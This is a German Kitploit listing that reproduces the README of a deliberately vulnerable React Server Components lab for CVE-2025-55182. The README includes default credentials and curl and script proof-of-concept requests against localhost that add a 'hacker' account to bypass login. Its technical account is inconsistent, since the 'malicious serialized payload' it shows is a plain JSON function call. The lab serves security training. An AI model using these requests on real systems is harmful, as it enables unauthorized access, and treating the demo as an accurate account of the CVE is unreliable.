Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
React2Shell-Kingdom — "Es war einmal, als das Schloss von Reactland allen Flight-Nachrichten vertraute... bis der Hochstapler kam." Eine erzählerische CVE-2025-55182 (React2Shell)-Demo – eine mittelalterlich thematisierte, verwundbare React Server Components-App für die Sicherheitsschulung. | Kitploit
Tools/GitHubGitHub/mycompanyorganization/react2shell-kingdom
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHubmycompanyorganization/react2shell-kingdom

React2Shell-Kingdom

"Es war einmal, als das Schloss von Reactland allen Flight-Nachrichten vertraute... bis der Hochstapler kam." Eine erzählerische CVE-2025-55182 (React2Shell)-Demo – eine mittelalterlich thematisierte, verwundbare React Server Components-App für die Sicherheitsschulung.

Repository anzeigen
2vor 8 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

React CVE-2025-55182 Schwachstellen-Demonstrationsprojekt

⚠️ SICHERHEITSWARNUNG

Dieses Projekt demonstriert eine kritische RCE-Schwachstelle (CVE-2025-55182 / React2Shell) in React Server Components 19.1.1.

  • NUR ZU BILDUNGS- UND SICHERHEITSFORSCHUNGSZWECKEN
  • NIEMALS in der Produktion oder in nicht vertrauenswürdigen Netzwerken einsetzen
  • Nur in isolierten, kontrollierten Umgebungen ausführen
  • Stellen Sie sicher, dass Sie vor dem Testen die entsprechende Autorisierung haben

Überblick

Dieses Projekt demonstriert CVE-2025-55182 (React2Shell), eine kritische Remote Code Execution (RCE)-Schwachstelle in React Server Components 19.1.1. Die Anwendung umfasst:

  • Eine einseitige Website mit Benutzername/Passwort-Authentifizierung
  • React Server Components (RSC)-Implementierung
  • RSC Flight-Protokoll-Endpunkt (anfällig)
  • Docker-Bereitstellungskonfiguration
  • POC-Exploit-Payload, der die Schwachstelle demonstriert

Projektstruktur

react-cve-demo/
├── package.json              # React 19.1.1 with react-server-dom-webpack
├── server.js                 # Custom React server with RSC support
├── src/
│   ├── App.jsx              # Main React component
│   ├── Login.jsx            # Login page component
│   ├── Dashboard.jsx        # Protected page component
│   └── server-components/   # Server Components
│       └── AuthServer.jsx   # Server-side auth logic
├── data/
│   └── users.json           # User credentials storage
├── Dockerfile               # Docker containerization
├── docker-compose.yml       # Docker Compose setup
├── .dockerignore
├── exploit/
│   ├── poc.js              # POC exploit script (Node.js)
│   └── poc.sh              # POC exploit script (bash/curl)
└── README.md               # This file

Voraussetzungen

  • Node.js 18+
  • Docker und Docker Compose (optional, für containerisierte Bereitstellung)
  • npm oder yarn

Installation

Lokale Entwicklung

  1. Klonen oder laden Sie dieses Repository herunter
  2. Installieren Sie die Abhängigkeiten:
    npm install
    
  3. Starten Sie den Server:
    npm start
    
  4. Greifen Sie unter http://localhost:3000 auf die Anwendung zu

Docker-Bereitstellung

  1. Mit Docker Compose bauen und starten:

    docker-compose up --build
    

    Oder manuell bauen und starten:

    docker build -t react-cve-demo .
    docker run -p 3000:3000 react-cve-demo
    
  2. Greifen Sie unter http://localhost:3000 auf die Anwendung zu

Verwendungsablauf

Normaler Authentifizierungsablauf

  1. Zugriff auf die Anwendung: Navigieren Sie zu http://localhost:3000
  2. Login-Seite: Sie sehen ein Anmeldeformular
  3. Standard-Anmeldedaten:
    • Benutzername: admin, Passwort: securepassword123
    • Benutzername: user1, Passwort: password123
  4. Erfolgreicher Login: Sie werden zum geschützten Dashboard weitergeleitet
  5. Abmelden: Klicken Sie auf die Abmelde-Schaltfläche, um zur Login-Seite zurückzukehren

Schwachstellendemonstration

Die Schwachstelle besteht im Deserialisierungsmechanismus des RSC Flight-Protokolls. Der Exploit:

  1. Baut eine schädliche serialisierte Nutzlast, die auf Server Function-Endpunkte abzielt
  2. Nutzt unsichere Deserialisierung aus, um beliebigen JavaScript-Code auszuführen
  3. Erstellt einen neuen Benutzereintrag in der JSON-Datei
  4. Umgeht die Authentifizierung mit den neuen Anmeldedaten

Ausführen des POC-Exploits

Option 1: Node.js-Skript

node exploit/poc.js

Oder mit einer benutzerdefinierten Ziel-URL:

TARGET_URL=http://localhost:3000 node exploit/poc.js

Option 2: Bash-Skript

./exploit/poc.sh

Oder mit einer benutzerdefinierten Ziel-URL:

TARGET_URL=http://localhost:3000 ./exploit/poc.sh

Option 3: Manueller curl-Befehl

Einzeiler-Version:

curl -X POST http://localhost:3000/rsc -H "Content-Type: application/json" -d '{"action":"callServerFunction","payload":{"moduleId":"AuthServer","functionName":"validateLogin","args":["hacker","hacked123"]}}'

Mehrzeilige Version (bessere Lesbarkeit):

curl -X POST http://localhost:3000/rsc \
  -H "Content-Type: application/json" \
  -d '{"action":"callServerFunction","payload":{"moduleId":"AuthServer","functionName":"validateLogin","args":["hacker","hacked123"]}}'

Hinweis: Ein kopierfertiger Einzeiler-Befehl ist auch in exploit/curl-oneline.txt verfügbar

Nach der Ausnutzung

Nach Ausführung des Exploits:

  1. Der Exploit erstellt einen neuen Benutzer in data/users.json
  2. Sie können sich nun mit den neu erstellten Anmeldedaten anmelden:
    • Benutzername: hacker
    • Passwort: hacked123
  3. Dies zeigt, wie die Schwachstelle die Authentifizierung umgehen kann

Technische Details

Schwachstelle (CVE-2025-55182)

Die Schwachstelle existiert in React Server Components 19.1.1, speziell in:

  • Komponente: react-server-dom-webpack
  • Version: 19.1.1 (anfällig)
  • Problem: Unsichere Deserialisierung im RSC Flight-Protokoll
  • Auswirkung: Remote Code Execution (RCE)
  • CVSS: Kritisch

Serverimplementierung

Der Server (server.js) implementiert:

  • Express.js HTTP-Server
  • RSC Flight-Protokoll-Endpunkt (/rsc)
  • Ausführung von Serverfunktionen (anfälliger Endpunkt)
  • Sitzungsverwaltung
  • Statische Dateibereitstellung

Authentifizierungssystem

  • Login-Komponente: Clientseitiges Formular für Benutzername/Passwort
  • Auth Server-Komponente: Serverseitige Authentifizierungslogik
  • Benutzerspeicher: JSON-Datei (data/users.json) zur Speicherung von Anmeldedaten
  • Geschützte Routen: Dashboard erfordert Authentifizierung

RSC Flight-Protokoll

Der RSC Flight-Protokoll-Endpunkt akzeptiert:

  • action: "callServerFunction": Serverfunktionen ausführen
  • action: "renderRSC": React Server Components rendern

Die Schwachstelle besteht in der Art und Weise, wie Serverfunktionsaufrufe deserialisiert und ausgeführt werden.

Sicherheitshinweise

⚠️ Kritische Warnungen

  1. Isolierte Umgebung: Nur in kontrollierten, isolierten Umgebungen ausführen
  2. Keine Produktionsnutzung: Verwundbaren Code niemals in der Produktion einsetzen
  3. Netzwerkisolation: Nicht für nicht vertrauenswürdige Netzwerke freigeben
  4. Bildungszweck: Nur für Sicherheitsforschung und Bildung
  5. Rechtliche Compliance: Stellen Sie sicher, dass Sie vor dem Testen die entsprechende Autorisierung haben

Bewährte Praktiken

  • Verwenden Sie eine dedizierte VM oder einen Container zum Testen
  • Deaktivieren Sie den Netzwerkzugriff außer für localhost
  • Speichern Sie keine sensiblen Daten in der Testumgebung
  • Bereinigen Sie Testdaten nach der Demonstration
  • Befolgen Sie die Praktiken der verantwortungsvollen Offenlegung

Abhängigkeiten

  • React: 19.1.1 (anfällige Version)
  • react-server-dom-webpack: 19.1.1 (anfälliges Paket)
  • Express.js: ^4.18.2
  • express-session: ^1.17.3
  • Node.js: 18+

Fehlerbehebung

Server startet nicht

  • Überprüfen Sie, ob Port 3000 bereits verwendet wird
  • Stellen Sie sicher, dass die Node.js-Version 18 oder höher ist
  • Vergewissern Sie sich, dass alle Abhängigkeiten installiert sind (npm install)

Exploit funktioniert nicht

  • Überprüfen Sie, ob der Server läuft
  • Stellen Sie sicher, dass der RSC-Endpunkt erreichbar ist
  • Überprüfen Sie die Server-Logs auf Fehler
  • Vergewissern Sie sich, dass das Exploit-Skript die entsprechenden Berechtigungen hat

Docker-Probleme

  • Stellen Sie sicher, dass Docker läuft
  • Überprüfen Sie die Docker Compose-Versionskompatibilität
  • Vergewissern Sie sich, dass Port 3000 verfügbar ist
  • Überprüfen Sie die Docker-Logs: docker-compose logs

Referenzen

  • CVE-2025-55182: React2Shell-Schwachstelle
  • React Server Components-Dokumentation
  • RSC Flight-Protokollspezifikation

Lizenz

MIT-Lizenz – Nur zu Bildungszwecken

Haftungsausschluss

Tool herunterladen